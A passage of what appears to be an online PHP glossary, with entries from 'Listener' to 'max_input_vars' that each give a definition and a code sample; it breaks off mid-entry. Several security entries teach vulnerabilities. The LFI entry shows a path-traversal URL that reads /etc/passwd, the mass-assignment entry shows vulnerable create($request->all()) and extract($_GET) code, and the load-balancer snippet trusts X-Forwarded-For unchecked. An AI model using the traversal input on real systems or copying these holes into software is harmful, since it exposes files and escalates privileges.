Listeners are commonly registered with an event dispatcher. When an event is dispatched, the dispatcher calls all registered listeners for that event type, passing the event object as an argument. Listeners may be prioritised, stoppable, or asynchronous.
PSR-14 standardises the event dispatcher interface, making listeners interoperable across frameworks. Symfony’s EventDispatcher, Laravel’s Events system, and many other frameworks implement this pattern.
A listener differs from an observer in that listeners are usually registered externally on a dispatcher, while observers are typically attached directly to the subject object they watch.
<?php
// PSR-14 compliant listener
use App\Event\UserRegisteredEvent;
final class SendWelcomeEmailListener
{
public function __invoke(UserRegisteredEvent $event): void
{
$user = $event->getUser();
// send welcome email to $user->getEmail()
}
}
// Registering the listener (Symfony example)
// In services.yaml:
// App\Listener\SendWelcomeEmailListener:
// tags:
// - { name: kernel.event_listener, event: App\Event\UserRegisteredEvent }
?>
See Also
Related
Related packages
Literal Types
Literal types are types which not only check the type of a value but also the value itself. PHP has support for two literal types: false as of PHP 8.0.0, and true as of PHP 8.2.0.
<?php
// bool is a type
// false is a literal type : a bool, which value is false
function trumpet(bool $a) : false {
return false;
}
?>
See Also
Related
Literal
A literal is a hard coded value in the source.
Literals may be of type int, float, boolean, null, array.
Objects and resources cannot be hardcoded, though their creation call may be.
Literals are given names by creating a constant, global or class.
<?php
// Literal 1 to $a
$a = 1;
// The object is created during execution.
$b = new Elephpant();
?>
See Also
Related
Large Language Model (LLM)
An LLM, or Large Language Model, is a type of artificial intelligence model designed to understand, generate, and interact with human language. These models are trained on vast amounts of text data, allowing them to recognize patterns, context, and nuances in language.
See Also
- I blind-tested 14 LLMs on a WordPress plugin task
- From Arrays to GPU — how the PHP ecosystem is moving toward real ML
- LLMs, structured data, agents — one PHP SDK
- How to evaluate a multi-turn agentic system in PHP
Related
- Artificial Intelligence (AI)
- Neural Network
- Machine Learning
- Model Context Protocol (MCP)
- PHP AI Editor
- Retrieval Augmented Generation (RAG)
Load Balancer
A load balancer, performing load balancing, is a component that distributes incoming network traffic across multiple backend servers to improve availability, throughput, and fault tolerance.
During deployment, the load balancer sits in front of a pool of PHP application servers, typically PHP-FPM behind Nginx or Apache. When a request arrives, the load balancer forwards it to one of the available servers according to a strategy: round-robin, least connections, IP hash, or weighted distribution.
Because requests can land on any server, PHP applications behind a load balancer must be stateless or externalise their state:
- Sessions must be stored in a shared backend server, not on the local filesystem
- Uploaded files must be written to shared storage, like NFS, an S3-compatible object store
- Caches should be shared or invalidated across all nodes
- Any resource that must persist between calls must be stored in a common server
A load balancer also provides health checks, in order to remove unhealthy nodes automatically, SSL termination, and sticky sessions, where it is routing a user’s requests to the same backend when true statelessness is not possible.
<?php
// Detect the real client IP behind a trusted load balancer
$clientIp = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
?>
See Also
Related
- Horizontal Scaling
- Stateless
- Session
- Distributed State
- Server Architecture
- Cache
- Docker
- Availability
- Container Orchestration
- Kubernetes
- Quality of Service (QoS)
- Service Discovery
- Service Registry
Local File Inclusion
A local file inclusion is a security vulnerability, where an external attacker can choose which file from the local system is processed by the called script.
This vulnerability is often used to access password files, such as /etc/passwd, or other hidden files. They might be read and displayed, or furthermore processed and modified.
<?php
// Input URL : http://vulnerable_host/preview.php?file=../../../../etc/passwd
file_get_contents($_GET['file']);
?>
See Also
- Exploiting Local File Inclusion (LFI) Using PHP Wrapper
- Local File Inclusion (LFI): Understanding and Preventing LFI Attacks
- From LFI to RCE via expect:// PHP Wrapper — A Deep Dive with Practical Examples
Related
Local Variable
A local variable is a variable in a method or a function. It is in the local scope, and is not available anywhere else.
A local variable is created by assigning it a value in a method, using the static keyword, or using the extract() function. It might be removed by the unset() function.
<?php
function trumpet() {
$localVariable = 1;
// ... more code
}
function forage() {
// this variable is distinct from the one in trumpet()
$localVariable = 2;
// ... more code
}
?>
See Also
Related
Local Scope
The local scope is the scope inside a function or method. The variables are contained within that scope, and are not available beyond it.
The opposite of local scope is the global scope.
<?php
function trumpet() {
// $trunk variable is only available in the trumpet scope
$trunk = 1;
$closure = function () {
// this scope is different from trumpet()
// its definition is nested in the trumpet() function
// but those are 2 distinct scopes
};
}
function forage() {
// $tusk variable is only available in the forage scope
$tusk = 1;
}
?>
See Also
Related
Locale
Locale are a set of configuration which describe how to handle different formats of data, such as monetary values, dates and time.
Locales are extracted from the system, and depends on a country name and a language name. For example, fr-FR for French French, nl_NL for Dutch, or zh_CN for Chinese Chinese.
Locale are supported with the ext/icu extension, and also, natively with the setlocale() function.
<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nl_NL');
/* Output: vrijdag 22 december 1978 */
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
?>
See Also
Related
Lock
A lock is a mechanism used to control access to a shared resource so that only one process can use it at a time.
There are different kinds of locks:
- File locks, when using
flock()function - Database locks, via transactions or explicit locks in the database
- Semaphore locks, based on sem extension.
<?php
$sem = sem_get(123456);
sem_acquire($sem);
// critical section
sem_release($sem);
?>
See Also
- Data locking strategies in PHP apps. Practical approach
- Locking in PHP to serialize execution of critical sections
Related
Related packages
Log File
Log, or logging, is a list of events that happen during execution of a piece of software. Logs are often referred to as log file, though they might be handled by specific servers, nowadays.
Log reports meaningful events during execution. They are used after execution to provide overview of the process: performance, exceptional events, etc.
Logs may be saved on the local machine, or exported to external storage.
Log is also the short name for logarithm.
See Also
Related
Related packages
Log
Log has several meanings:
- Log file, or logging, to collect events traces as they happen
- Logarithm, the math function
As a logging mechanism, PHP provides the low-level error_log() function to write a message to the system logger, a file, or by email, and the log_errors/error_log php.ini directives to route uncaught errors there automatically. Above that layer, PSR-3 Psr\Log\LoggerInterface standardizes a common logging API across eight severity levels, from debug to emergency, and Monolog is the de facto implementation used by Symfony, Laravel, and most modern frameworks, dispatching log records to handlers such as files, syslog, Slack, Sentry, or Elasticsearch.
As a math function, log() computes the natural logarithm by default, or the logarithm to an arbitrary base when a second argument is supplied; log10() provides base-10 logarithms directly, but PHP has no dedicated base-2 function, so it is computed as log($x, 2).
See Also
Related
Logarithm
The logarithm is a family of mathematical functions, where log($a * $b) == log($a) + log($b). There are two logarithm functions: the natural logarithm, where log(M_E) == 1, and the base-10 logarithm, where log(10) == 1.
PHP also offers log1p($x) == log(1 + $x). This function exists because log($x) is very close to 0 when $x is close to 1. To avoid rounding errors, log1p() is dedicated to this calculations and immediately yields the decimal part of the logarithm.
The opposite function of the logarithm is exponential, exp(), and the ** operator.
A logarithm is not the same as an algorithm, or a log file.
<?php
echo log(M_E);
print PHP_EOL; // 1
echo log(1);
print PHP_EOL; // 0
echo log(1.001);
print PHP_EOL; // 0.00099950033308342
echo log1p(0.001); //0.00099950033308353
print PHP_EOL;
?>
See Also
Related
Logical Operators
Logical operators applies four logical functions to booleans.
andand&&, the and operatororand||xor, no symbolic version forxor!, no letter version fornot
The logical operators are either symbolic or letter. Be aware that the symbolic operators have a higher precedence than the letter one, in particular in regards to comparisons.
The logical operators work on various types, and output booleans. They are different from the bitwise operators, which work on the value as a bit level, not as a whole.
<?php
if ($a == $b) {
print "a and b are equal";
}
?>
See Also
Related
- Bitwise Operators
- Not Operator
- And Operator
- Bitshift Operators
- False
- True
- Letter Logical Bug
- Pipe Operator
|>
LogicException
Exception that represents error in the program logic. This kind of exception should lead directly to a fix in your code.
LogicException is part of the SPL exception hierarchy introduced in version 5.1, extending the base Exception class. It signals a fault that could, in principle, be detected before runtime by inspecting the code, a violated precondition, an unreachable code path, or a contract broken by the caller, as opposed to RuntimeException, whose sibling hierarchy covers errors that can only be detected while the script is executing, such as I/O failures or unexpected external data.
PHP never throws a bare LogicException itself; it serves as the common base for more specific SPL exceptions: BadFunctionCallException, and its child BadMethodCallException, for calling an undefined function or method, DomainException for a value outside a defined set of valid values, InvalidArgumentException for an argument of the wrong type, LengthException for a value of invalid length, and OutOfRangeException for an illegal index requested outside of iteration. Catching LogicException lets code handle all of these programmer-error cases with a single catch block.
<?php
// No direct exemples. Use the children classes.
?>
See Also
Related
- BadFunctioncallException
- DomainException
- LengthException
- OutOfRangeException
- InvalidArgumentException
- RuntimeException
Look-up
A look-up is the operation of retrieving a value from a data structure by key, index, or identity. It is one of the most fundamental operations in programming, and its efficiency depends on the underlying structure: O(1) for hash tables, O(log n) for sorted arrays or trees, and O(n) for linear search.
The most common look-up structures are associative arrays, which use hash tables internally and offer average O(1) access by string or integer key. Objects, SPL data structures, and databases serve as look-up sources in larger systems.
Look-up tables are a specific pattern where a computation is replaced by a precomputed array indexed by the input. They trade memory for speed by eliminating repeated calculations.
Look-ups also appear implicitly in many places: variable resolution, function dispatch, method resolution, and class autoloading are all look-up operations performed by the engine itself.
Understanding look-up complexity matters for performance-sensitive code: choosing a hash-based structure over a sequential scan can change an O(n) bottleneck into an O(1) operation.
<?php
// Simple look-up in an associative array
$countryNames = [
'FR' => 'France',
'DE' => 'Germany',
'JP' => 'Japan',
];
$code = 'FR';
$name = $countryNames[$code] ?? 'Unknown'; // O(1) look-up
// Look-up table replacing a computation
$dayNames = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];
$dayName = $dayNames[date('w')]; // index look-up instead of switch/match
?>
See Also
Related
Loops
A loop is a control structure that allows to execute a block of code repeatedly based on a specified condition. Loops are essential for automating repetitive tasks and processing arrays or collections of data. PHP provides several types of loops, including: for, while, do…while and foreach.
The most popular loop is foreach().
Loops may hide in certain functions: for example, array_map() and array_walk() apply a method to every element in an array.
Generators are closely related to the foreach() loop.
<?php
foreach([11,12,13] as $id => $value) {
print "$id => $value\n";
}
for ($i = 1; $i <= 10; $i++) {
echo $i;
}
$i = 10;
while ($i <= 10) {
echo $i++;
}
$i = 10;
do {
echo $i++;
} while ($i <= 10);
?>
See Also
Related
- Do While
- While
- Break
- Control Flow
- Dangling Reference
- For
- foreach()
- N+1 Query Problem
- Array Element
- InfiniteIterator
- Nesting
- Traversal
Lossless
Lossless refers to any encoding, compression, or conversion process that preserves all of the original data exactly. After a lossless operation, the original content can be reconstructed bit-for-bit from the encoded form.
In image processing, lossless formats such as PNG and GIF use lossless compression: every pixel is preserved and no image quality is sacrificed to reduce file size. Lossless compression is suited to images with sharp edges, text, icons, and screenshots, where artefacts introduced by lossy compression would be visible.
In data serialisation and encoding, lossless round-trips guarantee that encoding then decoding returns the original input, with no data truncated or altered.
PHP’s GD extension produces lossless output with imagepng() and imagegif(). The compression level passed to imagepng() affects file size but not image fidelity.
<?php
// PNG is lossless: every pixel survives the encode/decode cycle
$image = imagecreatefrompng('original.png');
imagepng($image, 'copy.png', 6); // level 6 compression, still lossless
imagedestroy($image);
?>
See Also
Related
- Lossy
- Compression
- Portable Network Graphics (PNG)
- Graphics Interchange Format (GIF)
- Image
- Encode
- Decode
Lossy
Lossy refers to any encoding, compression, or conversion process that permanently discards some of the original data in order to reduce size or simplify the representation. Once a lossy operation has been applied, the discarded data cannot be recovered.
In image processing, lossy formats such as JPEG and WebP reduce file size by approximating colour information and discarding fine detail that the human eye is less sensitive to. Higher compression levels increase the degree of loss, introducing visible artefacts such as blocking and ringing. Lossy compression is well suited to photographs where a small quality reduction is imperceptible.
Repeated encode/decode cycles with a lossy format degrade quality cumulatively, because each cycle discards additional data.
PHP’s GD extension produces lossy output with imagejpeg(). The optional quality parameter, 0–100, controls the trade-off between file size and fidelity.
<?php
// JPEG is lossy: quality 60 discards more data than quality 90
$image = imagecreatefromjpeg('photo.jpg');
imagejpeg($image, 'compressed.jpg', 60);
imagedestroy($image);
?>
See Also
Related
LSP
LSP is an acronym that has several meanings:
- Liskov Substitution Principle, part of SOLID programming paradigm
- The Language Server Protocol, which provides language intelligence.
See Also
Related
Lvalue
An lvalue is an expression that designates a storage location capable of holding a value, as opposed to an rvalue, which only produces a value. The name comes from left value: historically, the kind of expression allowed on the left-hand side of an assignment.
An lvalue may be modifiable or non-modifiable. A modifiable lvalue, such as a variable, an array element or an object property, can be the target of an assignment or of a by-reference operation. A non-modifiable lvalue, such as a class constant or the result of a function returned by value, designates a location whose value cannot be changed through that expression.
<?php
$a = 1; // $a is a modifiable lvalue
$arr[0] = 2; // $arr[0] is a modifiable lvalue
class Elephpant {
const HABITAT = 1;
}
// Elephpant::HABITAT is a non-modifiable lvalue: this is a compile-time error
// Elephpant::HABITAT = 2;
?>
See Also
Related
Machine Learning
Machine learning is a field of artificial intelligence, which teaches an application how to react to a vast number of situations with a training dataset, before applying these teachings on new situations.
See Also
Related
Macro
A macro is a rule or pattern that maps a source text or syntax fragment to a replacement, which is then substituted before or during compilation. Macros operate at the level of source text, for example the C preprocessor, tokens, for example Rust macro_rules!, or AST nodes, asin Lisp and Elixir, and allow programmers to extend the syntax of a language or eliminate repetitive code without the overhead of a function call.
Two main families of macros exist:
- Textual macros non-hygienic: the C preprocessor
#definereplaces a name with a literal text fragment. Variable names inside the macro can accidentally shadow names in the calling scope, leading to subtle bugs. - Hygienic macros: as in Scheme’s
syntax-rules, Rust’smacro_rules!, and Elixir’sdefmacro, each identifier introduced by the macro is automatically renamed to prevent accidental capture of caller variables.
PHP has no native macro system. PHP source code is parsed and executed directly by the Zend Engine; there is no macro-expansion phase. The mechanisms that approximate macros are:
eval(): executes a PHP string at runtime, but provides no hygiene and operates after parsing.- Token-level preprocessors such as
yayrun before the PHP parser and perform textual or token-level substitutions, but offer no hygiene guarantees. nikic/php-parserallows full AST rewriting via a visitor pattern, enabling macro-like transformations with explicit, manually implemented scope tracking.- Compile-time constants
constand class constants serve a narrow, value-substitution role similar to object-like C macros, but without the generality of function-like macros.
See also hygienic macro for the hygiene-specific aspects of macro systems.
<?php
// PHP has no macro expansion. Constants are the closest equivalent
// to simple object-like C macros (#define MAX 100).
const MAX_RETRIES = 3;
// For function-like macros, PHP uses ordinary functions.
// No inline expansion; call overhead applies.
function clamp(int $value, int $min, int $max): int {
return max($min, min($max, $value));
}
// Token-level macro with the yay preprocessor (external tool, run before PHP):
// macro {clamp(·v, ·lo, ·hi)} >> {max(·lo, min(·hi, ·v))}
// This expands inline but is not hygienic.
?>
See Also
Related
Related packages
Magento
Magento is an open-source PHP e-commerce platform. It provides a comprehensive feature set for building online stores, including product catalogue management, checkout, payment integration, and a flexible extension system.
Magento was created by Varien and released in 2008. It was acquired by eBay in 2011, spun off as an independent company in 2015, and acquired by Adobe in 2018, where it continues under the name Adobe Commerce. The open-source edition remains available as Magento Open Source.
Magento 2, released in 2015, is a full rewrite using modern PHP practices, including dependency injection, service contracts, and a modular architecture.
See Also
Related
- Framework
- Content Management System (CMS)
- Dependency Injection
- Model - View - Controller (MVC)
- Object Relational Mapping (ORM)
Related packages
Magic Bytes
Magic bytes are the first bytes of the content of a file. This is where the format of the file is actually defined, or specified. These bytes are used to recognize the type of the file.
See Also
Related
Magic Constants
Constants which hold information about the current location of the code.
Those constants are magic, because they have a constant syntax, yet their value may change, even during the execution of the code.
- LINE The current line number of the file.
- FILE The full path and filename of the file with symlinks resolved. If used inside an include, the name of the included file is returned.
- DIR The directory of the file. If used inside an include, the directory of the included file is returned. This is equivalent to
dirname(__FILE__). This directory name does not have a trailing slash unless it is the root directory. - FUNCTION The function name, or
{closure}for anonymous functions. - CLASS The class name. The class name includes the namespace it was declared in, e.g.
Foo\Bar. When used in a trait method, CLASS is the name of the class the trait is used in. - TRAIT The trait name. The trait name includes the namespace it was declared in, e.g.
Foo\Bar. - METHOD The class method name.
- NAMESPACE The name of the current namespace.
- PROPERTY The name of the current property hook.
Those constants are case insensitive. While the common convention is to use them all in uppercase, all the following syntaxes work: __METHOD__, __method__, __meTHod__.
<?php
function trumpet() {
// shows trumpet
echo __FUNCTION__;
}
function forage() {
// shows forage
echo __FUNCTION__;
}
?>
See Also
Related
- Magic
- Magic Property
- Magic Methods
- __CLASS__
- __FUNCTION__
- __METHOD__
- Property Hook
- __get() Method
- __set() Method
- Special Constant
- __FILE__
- __LINE__
- __unset() Method
- Constant Case
- Automagic
Magic Hash
A magic hash is a hash string which is mistakenly compared to another hash.
In the example below, the same MD5 hash is taken for two distinct strings, which ends up being identical, per ==.
In reality, the two hashes are different strings: 0e462097431906509019562988736854 and 0e830400451993494058024219903391 respectively. When they are compared, as strings, PHP identifies the initial 0 of the strings, and assume the comparison should be an integer comparison.
Each string is turned into a int, which are 0 in both cases. Hence, the comparison succeeds, yet it wrong.
The protection against magic hashes is to use the identity operator ===, rather than the equality. It makes a type comparison and do not apply type juggling, which leads to the two hashes above different.
This example is applicable with any hash algorithm which produces a string that starts with 0. Check the magic hash repository for examples with SHA256, HAVAL, PHOTON, RIPEMD or SPONGENT.
There are PHP functions and operators that perform safe comparisons ,such as ===, !== and hash_equals().
<?php
var_dump(md5('240610708') == md5('QNKCDZO'));
//md5('240610708')
//0e462097431906509019562988736854
//md5('QNKCDZO')
//0e830400451993494058024219903391
?>
See Also
Related
Magic Code
Magic in the code happens when a simple command execute a lot more than it seems. Things that are happening in the background must be known to the coder, or it will come as a surprise.
See Also
Related
Magic Methods
Special methods, which provide extended support for PHP features.
The magic methods are: __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() and __debugInfo().
The constructor and destructor are not considered as magic methods, even though they are reserved.
<?php
class Elephpant {
function __get($name) {
return $this->$name;
}
}
?>
See Also
- What are magic methods in PHP? and How to Implement them?
- PHP Magic Methods Explained
- Magic Methods in PHP: Why Programmers Need Magic Too
Related
- __get() Method
- __set() Method
- __call() Method
- __isset() Method
- __clone() Method
- __sleep() Method
- __wakeup() Method
- __toString() Method
- __invoke() Method
- __set_state() Method
- Dynamic Properties
- String
- Deep Clone
- Isset
- Magic Constants
- Magic
- Object
- Property Hook
- Shallow Clone
- __callStatic() Method
- Invoke
- Object Type
- Overloading
- Automagic
- Callbacks
- __debugInfo() Method
- __unset() Method
- Meta-object Protocol (MOP)
- Metaclass
Magic Numbers
A magic number is a number that appears in the code, and has no obvious signification.
It is recommended to make the meaning of that number obvious. This is achieved by using constants, class or global, where the name of the constant improves readability.
Magic numbers also applies to other literal values, such as string, float, arrays. Though, they are more difficult to sort out of the code.
Magic numbers are difficult to categorize, when they are very common across different fields. For example, 0, 1, 2, 10 are very common for different tasks, and may need several disambiguations. Others, such as 60, 404, 1024, are common usage. Finally, there might be business specific numbers, such as 42.
<?php
foreach($array as $id => $values) {
// Only displaying 10 values, but couldn't that limit be parametered?
if ($id > 10) {
break;
}
print $values.PHP_EOL;
}
?>
See Also
- What are PHP Magic Numbers, and how to find and remove them
- Replace Magic Number with Symbolic Constant
Related
Related packages
Magic Property
Special properties, each also called an overloaded property, which are not declared, but dynamically handled by the magic methods. They do not have specific declaration.
The magic methods to handle magic properties are: __get(), __set(), __isset() and __unset().
<?php
class Elephpant {
function __get($name) {
return 'World!';
}
}
$elephpant = new Elephpant;
echo $elephpant->hello; // display World!
?>
See Also
Related
Magic Values
A magic value is a literal value that appears in the code without a clear explanation of its meaning.
Similar to magic numbers, magic values can be strings, arrays, or other literal types. They should be replaced with named constants or configuration values to improve readability and maintainability.
<?php
// Magic string value
$role = 'admin';
// Better: use a constant
const ROLE_ADMIN = 'admin';
$role = ROLE_ADMIN;
?>
See Also
Related
Magic
Magic is used to characterize something that happens out of the blue, without rational explanation. It mostly used in the sentence: There is too much magic in this code. It usually refers to conventions which trigger certain behaviors, though they are not explicit in the code, but rather documented and learnt.
Magic has only a remote relationship to PHP’s magic constants, magic numbers and magic methods.
See Also
Related
mail() is the PHP native function that sends emails. It is a relay to system commands that actually send the mail.
mail() does not provide support to structure mail, in particular attachments. This is left to custom components, such as PHPMailer.
<?php
$message = World;
mail('contact@php.net', 'Hello!', $message);
?>
See Also
- Guide: How to send emails in PHP (with examples)
- PHP mail() function: how to send email in PHP safely
Related
Related packages
Maintenability
Maintainability refers to how easy it is to understand, modify, and extend source code over time, especially as the project grows or / and requirements change.
A maintainable codebase is:
- Readable: code is well-structured, uses meaningful names, and follows consistent formatting
- Modular: functions, classes, and files are logically organized and decoupled
- Documented: clear comments and documentation explain complex logic and intent
- Testable: unit and integration tests ensure changes don’t break existing functionality
- Debuggable: errors and logs are clear, and debugging is straightforward
- Up-to-date: code adheres to modern PHP standards and avoids deprecated features.
See Also
Related
Maintenance
Maintenance is the operation to keep a source code running, long time after it was created. While the source code itself may be unchanged, some of the contextual features it relies on may have changed. The main challenge of maintenance is to understand the current level of features, to be able to reproduce them with a different set of tools.
Maintenance is also used to identify the period between two running versions of a software. To avoid interference with actual usage of the application, an application is put in maintenance mode, updated, and then, released from the maintenance mode. This notion of maintenance is related to operations and production.
See Also
Related
- Legacy
- Refactoring
- Upgrade
- Version
- Technical Reference
- Technical Debt
- Downtime
- Total Cost Of Ownership (TCO)
Makefile
A Makefile is a configuration file used by the make build automation tool. It defines targets, their dependencies, and the shell commands to run when a target is built. Targets declared with .PHONY are always executed regardless of any file with the same name.
In projects, Makefile files act as task runners that group common developer operations: installing dependencies, running tests, checking code style, running static analysis, or deploying.
# Makefile
.PHONY: install test lint fix deploy
install:
\tcomposer install
test:
\tvendor/bin/phpunit
lint:
\tvendor/bin/phpstan analyse src/
\tvendor/bin/php-cs-fixer check src/
fix:
\tvendor/bin/php-cs-fixer fix src/
deploy: test
\trsync -avz src/ user@server:/var/www/app/
See Also
Related
Malformed Response Body
A malformed response body is an HTTP response whose content does not match what the client expects. Examples include invalid JSON, a truncated payload, an HTML error page returned instead of JSON, or a body missing a required field.
The status code can be 200 and the body still be unusable, so checking the status alone is not enough. Code that calls json_decode() must check for errors, and code that reads a field must handle its absence.
Tests should cover malformed bodies, using canned responses, to check that the client raises a clear error instead of crashing or silently returning wrong data.
<?php
$data = json_decode($body, true);
if (json_last_error() !== JSON_ERROR_NONE || !is_array($data)) {
throw new UnexpectedValueException('Malformed response body');
}
See Also
Related
Man In The Middle
A Man-in-the-Middle attack, aka MitM, is a cyberattack where a malicious actor intercepts and possibly alters communications between two parties without their knowledge. In this attack, the attacker positions themselves between the communicating parties, acting as a relay for the messages exchanged between them.
Man-in-the-Middle attacks can be executed in various ways, such as by compromising public Wi-Fi networks, exploiting vulnerabilities in network protocols, or through techniques like ARP spoofing or DNS spoofing. The goal of these attacks can vary, from eavesdropping on sensitive information to injecting malware or conducting phishing scams.
To mitigate the risk of MitM attacks, encryption protocols like SSL/TLS are often used to secure communications between parties, making it difficult for attackers to intercept and decipher the data being transmitted. Additionally, users should be cautious when connecting to public Wi-Fi networks and ensure they are accessing websites over HTTPS to reduce the risk of interception and manipulation.
See Also
- VaultPress - Remote Code Execution via Man in The Middle attack
- Advanced Security Practices for PHP Developers: Mitigating Session Hijacking and Other Vulnerabilities
- Hackers abuse Google ads for GoDaddy ManageWP login phishing
Related
Map
A map refers to an abstract data type, ADT, that stores key-value pairs, where each key is unique within the map. This feature is supported by arrays.
PHP’s array syntax supports a feature to assign the index an arbitrary key. A map allows efficient lookup, insertion, and deletion of values based on their associated keys. The key-value pairs are typically unordered, meaning that the order of insertion may not be preserved when iterating over the map’s elements.
Maps are also called associative array, dictionary, or hashes.
Maps are useful to associate a value with a specific key and perform operations like searching for a value by its key or updating the value associated with a key. They provide a convenient way to store and retrieve data based on some unique identifier.
<?php
// explicit keys : this is a map
$array = ['a' => 0, 2 => 1, '123' => 2];
// keys are assigned automatically
$array = [0, 1, 2];
?>
See Also
Related
- Array, []
- Index For Arrays
- Collection
- array_column
- Cryptographic Hash
- hash() Function
- Hash
- Data Structure
- Pair
Markdown
Markdown is a lightweight markup language that can be used to add formatting elements to plain text documents. Created by John Gruber in 2004, it uses simple, readable syntax – such as # for headings, * for emphasis, and - for lists – that a parser converts into HTML or other output formats. It is widely used for README files, documentation, code comments, changelogs, and static site generators, precisely because it stays easy to read even before it is rendered. Several libraries implement Markdown parsing, such as league/commonmark, erusev/parsedown, and michelf/php-markdown.
See Also
Related
Related packages
Marker Interface
A marker interface, also called a tagging interface, embodying the marker interface pattern, is an interface with no methods or constants. It is used only to ‘mark’ or ‘tag’ a class as having a certain property, so that property can be checked at runtime with instanceof, without imposing any method to implement.
Marker interfaces rely on type-checking rather than polymorphism: the mere presence of the interface carries the information, not any method call on it. This is different from a regular interface, which enforces a contract of methods.
Attributes are often a more expressive, modern replacement for marker interfaces, since they may also carry data alongside the tag.
<?php
// An empty interface, used only to tag a class
interface Cacheable {}
class Report implements Cacheable {}
class Invoice {}
function persist(object $object) {
if ($object instanceof Cacheable) {
// store the object in a cache layer
}
}
?>
See Also
Related
Marketplace
A marketplace usually means a platform where developers can buy, sell, or distribute PHP or framework related products or services. These products are typically code packages, themes, plugins, scripts, APIs, or SaaS integrations that other developers or businesses can use in their PHP projects.
See Also
Related
Mass Assignment
Mass assignment is the practice of setting several properties of an object at once from an associative array, instead of assigning each property individually. It is a common convenience feature of ORMs and frameworks: Laravel’s Eloquent models can be filled with Model::create($data) or $model->fill($data), and similar patterns exist in Doctrine, Symfony forms, and plain constructors that loop over an input array and set matching properties.
The convenience becomes a vulnerability when the array being assigned comes directly from user input, such as $request->all(), without restricting which fields are allowed to be set. An attacker can then add extra keys to the submitted data, such as is_admin or role, and have them silently written to the object alongside the fields the form actually intended to expose. This class of vulnerability is also known as auto-binding or over-posting, and was responsible for a well-known 2012 GitHub incident where a user added his own public key to any organization through a mass-assigned parameter.
The standard mitigation is allow-listing: explicitly declaring which properties may be mass-assigned, such as Eloquent’s $fillable array, or the inverse deny-list $guarded, which allow-listing is generally considered safer than. A stricter alternative is to avoid binding user input directly to domain or persistence objects altogether, and instead pass it through a dedicated Data Transfer Object that only exposes the fields the operation is meant to accept.
A related but distinct case is mass variable assignment, done directly in userland code rather than through an ORM. extract() takes an associative array and creates one local variable per key in a single call, and compact() performs the reverse, packing a list of variable names into an associative array. This carries the same class of risk as ORM mass assignment when the array comes from unfiltered input: extract($_GET) silently creates or overwrites any local variable named by a request parameter, which is why extract() on untrusted data is generally discouraged, in favor of naming the expected variables explicitly.
<?php
// Vulnerable: any key in the request can set any Eloquent attribute
class User extends Model {}
User::create($request->all());
// an attacker submitting ['name' => 'Bob', 'is_admin' => 1] becomes an admin
// Mitigated: only the allow-listed fields can be mass-assigned
class User extends Model
{
protected $fillable = ['name', 'email'];
}
User::create($request->all());
// 'is_admin' is silently ignored
// Mass variable assignment: extract() and compact()
$data = ['name' => 'Bob', 'age' => 42];
extract($data);
echo $name; // 'Bob', now a local variable
$packed = compact('name', 'age');
// ['name' => 'Bob', 'age' => 42], the reverse of extract()
// Vulnerable: any request parameter becomes a local variable
extract($_GET);
?>
See Also
Related
- Mass
- Object Relational Mapping (ORM)
- Data Transfer Object (DTO)
- Laravel
- Validation
- extract()
- compact()
Related packages
Mass
mass shows up in several distinct PHP and ORM concepts. They are easy to confuse because they all involve applying one operation to several attributes or rows at once:
- Mass assignment: filling several properties of a single object at once from an associative array, typically
Model::create($data)or$model->fill($data). When the array comes from unfiltered user input, it is a well-known security vulnerability, since an attacker can inject extra keys the form never intended to expose. - Mass update / mass deletion: running an
update()ordelete()directly against a query builder result, affecting every row that matches the query in a single SQL statement, without ever loading the matching models. This is a behavioral gotcha rather than a security issue: since the models are never retrieved, per-model events, mutators, and observers do not fire. - Mass mailing: sending the same, or templated, email to a large number of recipients at once, usually through a dedicated queue or third-party service rather than PHP’s synchronous
mail().
Absent further context, mass in a PHP codebase or discussion most often refers to mass assignment.
See Also
Related
Match
The match expression is the remote cousin of the switch. It takes a value, branch among a list of cases, or fallback to a default one, and returns a unique value.
match use a strict comparison for the comparison. match raise an error if no case match, unless the default case is provided.
match is an expression, to be used in an assignment, while switch is a command, and must be used alone.
<?php
$return_value = match ($food) {
'apple' => 'This food is an apple',
'bar' => 'This food is a bar',
'cake' => 'This food is a cake',
default => 'This is not food'
};
?>
See Also
Related
- Switch
- Default
- If Then Else
- UnhandledMatchError
- Case
- Comparison
- Conditional Structures
- Control Flow
- Switch Fallthrough
- Simple Switch
- Strict Comparison
- Switch Case
- Switch Default
- Arm
- Control Structures
- Identical Operator
- Streamlining
- Exhaustiveness
- Idiomatic
- Strict
- Sum Type
Math
PHP offers many math features. There are the native math functions, such as exp(), cos() or abs(); there are operators, such as +, *, **, etc. There are special notions, such as NaN, Not a number, and the constant INF, which represents the infinite.
There are also extension, such as bcmath and gmp, to handle arbitrary large numbers.
Finally, there are many packages that provide optimized code to run math specialties, like matrices, complex numbers or statistical tools.
<?php
$total = 1 + 2 * 3 - 4 ** 5;
?>
See Also
Related
Related packages
max_execution_time
The max_execution_time directive sets the maximum amount of time that PHP will work on an application.
The default value is 30 seconds. It may be lowered down to 1 second, or set to infinity with -1.
max_execution_time may be changed from the code with set_time_limit(). This function may also be disabled, and not available.
It is recommended to set this value as low as possible, and optimize the code to run below that limit.
See Also
Related
max_filter_count
max_filter_count is a stream context option that limits how many filters can be chained in a single php://filter URL, such as php://filter/read=string.toupper|string.rot13/resource=file.txt. It is a hardening measure against filter chain attacks, where a long chain of filters is used to generate arbitrary content from a file inclusion.
The default limit is 16 filters. Exceeding it first triggers a deprecation warning, then an error in later versions. The option is set through the filter key of a stream context, and can be passed to file functions such as fopen(), include or file_get_contents().
This is not a php.ini directive: it cannot be changed globally in the configuration file, although the default stream context can be set with stream_context_set_default(). Filters added with stream_filter_append() or stream_filter_prepend() are not counted by this option.
<?php
// Allow at most 1 filter in php://filter URLs for this context
$ctx = stream_context_create(['filter' => ['max_filter_count' => 1]]);
// One filter: allowed
echo file_get_contents('php://filter/read=string.toupper/resource=data.txt', false, $ctx);
// Two filters: exceeds the limit
echo file_get_contents('php://filter/read=string.toupper|string.rot13/resource=data.txt', false, $ctx);
?>
See Also
Related
max_input_vars
The max_input_vars directive caps the number of input variables PHP will accept per request, counting every entry in $_GET, $_POST and $_COOKIE, including each element of nested arrays.
